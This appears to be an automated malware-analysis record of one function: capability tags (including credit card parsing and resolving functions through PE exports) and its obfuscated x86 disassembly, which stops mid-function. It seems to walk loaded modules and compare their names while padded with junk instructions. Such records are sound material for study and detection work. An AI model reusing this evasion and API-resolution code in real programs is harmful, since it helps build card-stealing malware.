Function at 0x4c51ec
Capabilities:
Get number of processors
Parse credit card information
Resolve function by parsing pe exports

Disassembly:
push edi
sub edi, 0x1061c
pop edi
push edi
push ebx
add esp, 4
add edi, 0x7e3e
call 0x4c51dd
add byte [edi], bh
xor ecx, dword ds:[edi + 0x4d]
cmp dword [ebx + 0x7e804c4], eax
add byte [eax], al
add byte [eax], al
dec ebx
dec ecx
inc edx
aas
dec ebx
dec edx
add esp, 4
pop edi
lea edx, [ebp - 0x3bc]
mov dword [ebp - 0x1f4], edx
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1f0], ecx
push edi
add edi, 0x93f4
pop edi
push eax
sub eax, 0xcc19
jmp 0x4c5222
xor eax, 0x14f50
pop eax
push esi
sub esi, 0x14a84
or esi, 0xf9cf
and esi, 0xe303
pop esi
xor edx, edx
mov word [ebp - 0x58], dx
xor eax, eax
mov word [ebp - 0xc], ax
push edi
jmp 0x4c5251
add edi, 0x174ab
pop edi
push eax
call 0x4c5265
add byte [edx], dh
xor al, 0x4b
cmp dword [esi + edi], edi
add esp, 4
xor eax, 0xc66a
add eax, 0x1730f
sub eax, 0xcf09
pop eax
mov ecx, dword [ebp - 0x1f0]
mov dx, word [ecx]
mov word [ebp - 0x28c], dx
mov eax, dword [ebp - 0x1f0]
add eax, 2
mov dword [ebp - 0x1f0], eax
mov cx, word [ebp - 0x28c]
mov word [ebp - 0x58], cx
push esi
push ebx
add esp, 4
jmp 0x4c52af
and esi, 0x16973
and esi, 0x220f
call 0x4c52c7
add byte [edi + esi], bh
aaa
aaa
dec ebp
inc ecx
add esp, 4
pop esi
push ebx
push edx
add esp, 4
add ebx, 0xa4c5
pop ebx
mov edx, dword [ebp - 0x1f4]
mov ax, word [edx]
mov word [ebp - 0x28e], ax
mov ecx, dword [ebp - 0x1f4]
add ecx, 2
mov dword [ebp - 0x1f4], ecx
mov dx, word [ebp - 0x28e]
mov word [ebp - 0xc], dx
push esi
push edx
add esp, 4
sub esi, 0x6436
sub esi, 0x1577e
xor esi, 0x93a5
and esi, 0xc538
pop esi
push edx
xor edx, 0x359b
jmp 0x4c532c
add edx, 0x7271
pop edx
movzx eax, word [ebp - 0xc]
test eax, eax
jne 0x4c5350
movzx ecx, word [ebp - 0x58]
movzx edx, word [ebp - 0xc]
sub ecx, edx
mov dword [ebp - 0x37c], ecx
jmp 0x4c53d3
movzx eax, word [ebp - 0x58]
movzx ecx, word [ebp - 0xc]
cmp eax, ecx
je 0x4c5249
movzx edx, word [ebp - 0x58]
xor edx, 0x20
movzx eax, word [ebp - 0xc]
cmp edx, eax
je 0x4c5249
push edi
push ebx
add esp, 4
call 0x4c5385
add byte [0x38333735], bh
dec eax
cmp byte [ebx - 0x187efb3c], al
aam 8
add byte [eax], al
call 0x4c539b
add byte [esi + 0x3b], al
dec ecx
dec esi
dec edx
dec ebx
inc esi
add esp, 4
add edi, 0x94b1
pop edi
movzx ecx, word [ebp - 0x58]
movzx edx, word [ebp - 0xc]
cmp ecx, edx
jge 0x4c53bd
mov dword [ebp - 0x378], 0xffffffff
jmp 0x4c53c7
mov dword [ebp - 0x378], 1
mov eax, dword [ebp - 0x378]
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0
jne 0x4c541f
push ecx
or ecx, 0x17769
jmp 0x4c53e9
xor ecx, 0x1856f
sub ecx, 0xd6e7
pop ecx
push ecx
push esi
add esp, 4
xor ecx, 0x132f6
pop ecx
push ebx
push edx
add esp, 4
xor ebx, 0xf0da
pop ebx
mov ecx, dword [ebp - 0xc0]
mov dword [ebp - 0x118], ecx
jmp 0x4c54b9
mov edx, dword [ebp - 0xc0]
mov eax, dword [edx]
mov dword [ebp - 0xc0], eax
push edi
push ecx
add esp, 4
or edi, 0x99fb
xor edi, 0x166dc
or edi, 0x3eb9
pop edi
push esi
push ecx
add esp, 4
or esi, 0x2f5a
or esi, 0xff0e
pop esi
push edx
xor edx, 0x508f
pop edx
mov ecx, dword [ebp - 0xc0]
cmp ecx, dword [ebp - 0x1f8]
je 0x4c547d
mov edx, dword [ebp - 0xc0]
cmp dword [edx + 0x30], 0
jne 0x4c51be
push edi
call 0x4c548e
add byte [eax], bh
cmp byte [edx], dh
inc ebx
xor cl, byte [edi + 0x4b]
cmp eax, 0xc4834a4b
add al, 0x81
not dword [edx - 0x68]
add byte [eax], al
pop edi
push edx
jmp 0x4c54a2
add edx, 0x14242
and edx, 0xc1e6
pop edx
mov dword [ebp - 0x118], 0
cmp dword [ebp - 0x118], 0
jne 0x4c5503
push eax
sub eax, 0x1729c
sub eax, 0x179ba
jmp 0x4c54d7
pop eax
push esi
add esi, 0x3232
jmp 0x4c54e7
or esi, 0x13b9d
or esi, 0x14661
pop esi
mov dword [ebp - 0x1b4], 0
jmp 0x4c65ff
mov eax, dword [ebp - 0x118]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x128], 0
push ebx
sub ebx, 0x1083d
xor ebx, 0x496c
or ebx, 0xf251
pop ebx
push esi
push esi
add esp, 4
and esi, 0x166fa
call 0x4c554a
add byte [edx + 0x4a], al
inc ebp
xor eax, 0x3a475045
xor al, 0x83
les eax, [esi + ebx*2]
mov edx, dword [ebp - 0x8c]
mov dword [ebp - 0x380], edx
cmp dword [ebp - 0x380], 0
jne 0x4c55a6
push edx
push edi
add esp, 4
jmp 0x4c556d
or edx, 0x215f
and edx, 0xb94d
jmp 0x4c5582
pop edx
push edx
push ebx
add esp, 4
xor edx, 0xd2fb
xor edx, 0x1537d
mov ecx, dword [ebp - 0x380]
mov edx, dword [ebp - 0x8c]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x384], edx
jne 0x4c55ce
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x98], eax
jmp 0x4c5a95
push ecx
push ebx
add esp, 4
xor ecx, 0x629e
xor ecx, 0x4df3
pop ecx
push esi
push ecx
add esp, 4
jmp 0x4c55ed
and esi, 0x10633
add esi, 0x3ef0
or esi, 0x352e
pop esi
mov ecx, 8
imul edx, ecx, 0